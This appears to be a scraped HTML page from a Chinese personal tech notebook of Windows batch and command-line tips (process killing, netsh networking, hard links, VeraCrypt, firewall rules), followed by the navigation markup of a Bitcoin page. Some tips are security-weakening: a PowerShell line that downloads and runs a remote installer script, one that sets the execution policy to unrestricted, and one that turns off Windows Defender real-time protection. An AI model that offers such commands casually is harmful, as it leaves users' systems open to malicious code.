 \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#windows-defender\" class=\"md-nav__link\">\n    命令行关闭Windows Defender\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#windowsip\" class=\"md-nav__link\">\n    命令行增加Windows防火墙规则阻断IP\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"bat\">BAT 批处理<a class=\"headerlink\" href=\"#bat\" title=\"Permanent link\">&para;</a></h1>\n<p>也包含一些Windows命令行工具</p>\n<h2 id=\"cmd\">快速打开cmd<a class=\"headerlink\" href=\"#cmd\" title=\"Permanent link\">&para;</a></h2>\n<p>还在用Win+R cmd再用pushd命令？</p>\n<p>在资源管理器的地址栏输入cmd回车就能直接进入当前目录</p>\n<p>另外，不如直接<a href=\"/WindowsSoftware/#bash\">把cmd加入到鼠标右键</a></p>\n<hr />\n<h2 id=\"_1\">并列语句语法<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>顺序执行 &amp;\necho a &amp; echo b \n\n前者正确才执行 &amp;&amp;\n&gt;nul 2&gt;nul ping -n 1 qq.com &amp;&amp; echo network ok\n\n前者错误才执行 ||\n&gt;nul 2&gt;nul ping -n 1 qq.com || echo network failure\n</code></pre></div>\n\n<hr />\n<h2 id=\"for\">来一个死循环吧 for<a class=\"headerlink\" href=\"#for\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<p>用于结束进程，或者DNS查询看看解析是否生效</p>\n</blockquote>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">l</span><span class=\"w\"> </span><span class=\"o\">%</span><span class=\"nv\">i</span><span class=\"w\"> </span><span class=\"nv\">in</span><span class=\"w\"> </span><span class=\"ss\">(</span><span class=\"mi\">1</span>,<span class=\"mi\">1</span>,<span class=\"mi\">9999999</span><span class=\"ss\">)</span><span class=\"w\"> </span><span class=\"k\">do</span><span class=\"w\"> </span>...\n</code></pre></div>\n\n<hr />\n<h2 id=\"taskkill\">结束进程 taskkill<a class=\"headerlink\" href=\"#taskkill\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<p>当启动cmd窗口过多的时候，使用taskkill批量关闭</p>\n</blockquote>\n<div class=\"codehilite\"><pre><span></span><code>taskkill /f /im cmd.exe\n</code></pre></div>\n\n<p>类似的Linux命令为<code>killall bash</code></p>\n<hr />\n<h2 id=\"free\">内存整理 free<a class=\"headerlink\" href=\"#free\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<p>微软自己出的一个内存整理工具，需要管理员权限</p>\n<p>下载：<a href=\"https://d.py3.io/empty.exe\">empty.exe</a></p>\n</blockquote>\n<div class=\"codehilite\"><pre><span></span><code>empty *\n</code></pre></div>\n\n<hr />\n<h2 id=\"sleepx\">睡一会 SleepX<a class=\"headerlink\" href=\"#sleepx\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<p>程序需要等待一定时间再继续运行就可以sleepx啦，作者Bill Stewart (bstewart@iname.com)</p>\n<p>下载：<a href=\"https://d.py3.io/SleepX.exe\">SleepX.exe</a></p>\n</blockquote>\n<div class=\"codehilite\"><pre><span></span><code>SleepX 10\n</code></pre></div>\n\n<p>等待5s，如果用户等不及可以按键，此时 not &ldquo;%errorlevel%&rdquo; == &ldquo;0&rdquo;</p>\n<div class=\"codehilite\"><pre><span></span><code>SleepX -k 5\n</code></pre></div>\n\n<hr />\n<h2 id=\"curl\">命令行的浏览器 curl<a class=\"headerlink\" href=\"#curl\" title=\"Permanent link\">&para;</a></h2>\n<p><img alt=\"cURL\" src=\"https://curl.haxx.se/logo/curl-logo.svg\" /></p>\n<blockquote>\n<p>大名鼎鼎的cURL，不必多言；只是它的命令行的运行方式与libcurl用起来差异很大（如比较php的curl用法）</p>\n<p>官方：https://curl.haxx.se/</p>\n<p>简单入门：http://www.bathome.net/thread-1761-1-1.html</p>\n<p><strong>将curl转为python requests</strong> http://curl.trillworks.com/</p>\n</blockquote>\n<p><a href=\"https://d.py3.io/curl.exe\">下载7.51 x64版本</a></p>\n<p>具体请见单独文档<a href=\"../cURL/\">cURL.md</a></p>\n<hr />\n<h2 id=\"_2\">判断文件夹存在<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p>通过判断nul这个特殊文件的存在性（用户并不能创建文件名形如nul的特殊文件）</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"nv\">exist</span><span class=\"w\"> </span><span class=\"k\">DIRNAME</span>\\<span class=\"nv\">nul</span><span class=\"w\"> </span><span class=\"nv\">echo</span><span class=\"w\"> </span><span class=\"nv\">Yes</span><span class=\"o\">!</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"mklinkfsutil-hardlink-create\">创建硬链接mklink或者fsutil hardlink create<a class=\"headerlink\" href=\"#mklinkfsutil-hardlink-create\" title=\"Permanent link\">&para;</a></h2>\n<p>Win7及以上：</p>\n<div class=\"codehilite\"><pre><span></span><code>mklink /H Link Target\n</code></pre></div>\n\n<p>目录还需要/J</p>\n<div class=\"codehilite\"><pre><span></span><code>mklink /H /J Link Target\n</code></pre></div>\n\n<p>WinXP只能用：</p>\n<div class=\"codehilite\"><pre><span></span><code>fsutil hardlink create &lt;new filename&gt; &lt;existing filename&gt;\n</code></pre></div>\n\n<hr />\n<h2 id=\"_3\">端口转发<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<p>此命令需要管理员权限</p>\n<div class=\"codehilite\"><pre><span></span><code>netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=转发出的端口 connectaddress=转发的源IP地址 connectport=转发的源端口\n</code></pre></div>\n\n<hr />\n<h2 id=\"rvpn\">保持RVPN不断开<a class=\"headerlink\" href=\"#rvpn\" title=\"Permanent link\">&para;</a></h2>\n<p>rvpn会自动断开，所以写了个脚本判断并自动重连</p>\n<p><a href=\"../code/RVPNKeepAlive.bat\">RVPNKeepAlive.bat</a></p>\n<p>其中的知识点：</p>\n<ol>\n<li>\n<p>判断命令是否成功用if &ldquo;%errorlevel%&rdquo;==&rdquo;0&rdquo;，errorlevel这个变量是上一条命令的返回结果（C程序的int main的返回值），一般规定返回0表示没有发生错误</p>\n</li>\n<li>\n<p>用ping www.baidu.com和ping -n 2 ip.cn做粗糙的等待延时，其中-n表示ping的次数，默认是4，改小一点就是更短的延时咯</p>\n</li>\n<li>\n<p>启动一个GUI的exe，需要用start &ldquo;&rdquo; example.exe</p>\n</li>\n</ol>\n<hr />\n<h2 id=\"vpn\">浙江大学有线vpn静态路由配置脚本<a class=\"headerlink\" href=\"#vpn\" title=\"Permanent link\">&para;</a></h2>\n<p>Author: shuishui</p>\n<p><a href=\"../code/%E9%9D%99%E6%80%81%E8%B7%AF%E7%94%B1%E8%AE%BE%E7%BD%AE.bat\">静态路由设置.bat</a></p>\n<hr />\n<h2 id=\"_4\">进入休眠<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h2>\n<p>Win10似乎没有从鼠标进入休眠而不是睡眠的方法，但调用rundll32进入休眠模式还是可以的：</p>\n<div class=\"codehilite\"><pre><span></span><code>rundll32.exe powrProf.dll,SetSuspendState\n</code></pre></div>\n\n<hr />\n<h2 id=\"_5\">快速进入系统代理设置<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG 代理</p>\n<p>From: https://stackoverflow.com/questions/3648366/is-it-possible-to-launch-ies-proxy-settings-dialog-from-the-command-line</p>\n<p>不用启动<code>c:\\Program Files\\Internet Explorer\\iexplore.exe</code>，直接Win+R输入这个就能打开IE的连接设置，方便修改代理：</p>\n<div class=\"codehilite\"><pre><span></span><code>inetcpl.cpl ,4\n</code></pre></div>\n\n<hr />\n<h2 id=\"cmd_1\">在普通权限cmd中获得更高权限<a class=\"headerlink\" href=\"#cmd_1\" title=\"Permanent link\">&para;</a></h2>\n<p>比如下文的修改ip等操作就需要管理员权限。你可以先启动任务管理器，再运行一个管理员权限的cmd；现在有了更加直接的操作</p>\n<h3 id=\"1elevate\">方案1：<a href=\"http://code.kliu.org/misc/elevate/\">elevate</a><a class=\"headerlink\" href=\"#1elevate\" title=\"Permanent link\">&para;</a></h3>\n<p>下载地址：<a href=\"http://code.kliu.org/misc/elevate/elevate-1.3.0-redist.7z\">http://code.kliu.org/misc/elevate/elevate-1.3.0-redist.7z</a></p>\n<p>特点：有UAC弹窗，会启动一个新窗口</p>\n<p>例子：</p>\n<div class=\"codehilite\"><pre><span></span><code>REM 启动一个特权的cmd\nelevate -k\nREM 执行dir并等待结束\nelevate -c -w dir\n</code></pre></div>\n\n<h3 id=\"2sudo-for-windows-luke-sampson\">方案2：Sudo for Windows – Luke Sampson<a class=\"headerlink\" href=\"#2sudo-for-windows-luke-sampson\" title=\"Permanent link\">&para;</a></h3>\n<p>参考：https://helpdeskgeek.com/free-tools-review/5-windows-alternatives-linux-sudo-command/</p>\n<p>在powershell中输入以下命令完成安装：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">iex</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">new</span><span class=\"o\">-</span><span class=\"n\">object</span><span class=\"w\"> </span><span class=\"n\">net</span><span class=\"o\">.</span><span class=\"n\">webclient</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">downloadstring</span><span class=\"p\">(</span><span class=\"err\">‘</span><span class=\"n\">https</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">get</span><span class=\"o\">.</span><span class=\"n\">scoop</span><span class=\"o\">.</span><span class=\"n\">sh</span><span class=\"err\">’</span><span class=\"p\">)</span>\n\n<span class=\"n\">set</span><span class=\"o\">-</span><span class=\"n\">executionpolicy</span><span class=\"w\"> </span><span class=\"n\">unrestricted</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"n\">cu</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">f</span>\n\n<span class=\"n\">scoop</span><span class=\"w\"> </span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"n\">sudo</span>\n</code></pre></div>\n\n<p>特点：比较慢，仍然有UAC弹窗，不会启动一个新窗口</p>\n<hr />\n<h2 id=\"ip\">命令行配置IP<a class=\"headerlink\" href=\"#ip\" title=\"Permanent link\">&para;</a></h2>\n<p>需要管理员权限，参见上方<code>在普通权限cmd中获得更高权限</code></p>\n<p>参考：https://helpdeskgeek.com/networking/change-ip-address-and-dns-servers-using-the-command-prompt/</p>\n<p>首先使用<code>netsh interface ip show config</code>查看适配器的名称，假设需要配置的是<code>以太网</code></p>\n<h3 id=\"ipdns\">配置静态IP和DNS<a class=\"headerlink\" href=\"#ipdns\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>netsh interface ip set address name=&quot;以太网&quot; static 192.168.1.101 255.255.255.0 192.168.1.1\nnetsh interface ip set dns &quot;以太网&quot; static 192.168.1.1\n</code></pre></div>\n\n<h3 id=\"dhcp\">配置DHCP<a class=\"headerlink\" href=\"#dhcp\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>netsh interface ip set address name=&quot;以太网&quot; dhcp\nnetsh interface ip set dns &quot;以太网&quot; dhcp\n</code></pre></div>\n\n<hr />\n<h2 id=\"veracrypt\">命令行使用VeraCrypt<a class=\"headerlink\" href=\"#veracrypt\" title=\"Permanent link\">&para;</a></h2>\n<p>VeraCrypt是TrueCrypt代替者，其命令行使用方式： https://www.veracrypt.fr/en/Command%20Line%20Usage.html</p>\n<p>下载Portable版本即可，下载地址：https://www.veracrypt.fr/en/Downloads.html</p>\n<h3 id=\"_6\">创建一个加密盘<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h3>\n<p>不与用户交互所以指定<code>/q /s</code>，具体来说/q表示不显示主窗口，/s表示不显示任何交互窗口也不报错，注意使用这两个参数后即使出错也不会有任何提醒</p>\n<p>文件名test.hc，大小100M，密码必须20个字符或以上，加密方式使用最快的Serpent，为了加速挂载过程指定/pim 1</p>\n<div class=\"codehilite\"><pre><span></span><code>&quot;VeraCrypt Format.exe&quot; /create test.hc /password testtesttesttesttest /hash sha512 /encryption serpent /filesystem FAT /size 100M /pim 1 /force /silent\n</code></pre></div>\n\n<p>如果不指定/pim来降低迭代次数，挂载时需要耗时十秒以上无法接受，所以牺牲一点安全性来换取性能。关于PIM的文档： https://www.veracrypt.fr/en/Personal%20Iterations%20Multiplier%20(PIM).html</p>\n<h3 id=\"_7\">挂载加密盘<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h3>\n<p>挂载test.hc至Z:盘，需要指定与创建过程相同的/pim</p>\n<p>这个命令会立即返回，但真正挂载可以访问Z盘可能还需要等待数秒</p>\n<div class=\"codehilite\"><pre><span></span><code>VeraCrypt.exe /quit /silent /volume test.hc /password testtesttesttesttest /pim 1 /l z\n</code></pre></div>\n\n<h3 id=\"_8\">卸载已经挂载的加密盘<a class=\"headerlink\" href=\"#_8\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>VeraCrypt.exe /quit /silent /dismount z\n</code></pre></div>\n\n<hr />\n<h2 id=\"windows-defender\">命令行关闭Windows Defender<a class=\"headerlink\" href=\"#windows-defender\" title=\"Permanent link\">&para;</a></h2>\n<p>在进行大量IO操作的时候（如拷贝大量小文件），Windows Defender会严重拖慢任务速度</p>\n<p>在管理员权限下powershell可以直接临时关闭Windows Defender的实时防护</p>\n<p>搭配elevate.exe使用即可在Win+R中快速关闭：</p>\n<div class=\"codehilite\"><pre><span></span><code>elevate powershell -Command &quot;Set-MpPreference -DisableRealtimeMonitoring $true&quot;\n</code></pre></div>\n\n<p>这个似乎在最新的Windows 2004已经失效</p>\n<hr />\n<h2 id=\"windowsip\">命令行增加Windows防火墙规则阻断IP<a class=\"headerlink\" href=\"#windowsip\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG 防火墙</p>\n<p>当然需要管理员权限的cmd，能一行搞定何必在繁琐的设置步骤中周旋</p>\n<p>参考 https://serverfault.com/questions/851922/blocking-ip-address-with-netsh-filter</p>\n<div class=\"codehilite\"><pre><span></span><code>netsh advfirewall firewall add rule name=&quot;IP Block&quot; ^\n   dir=in interface=any action=block remoteip=198.51.100.108/32\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Bitcoin/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../dfsan/\">\n      \n      \n        <link rel=\"next\" href=\"../Linux-backup/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Bitcoin - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#bitcoin\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Bitcoin\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        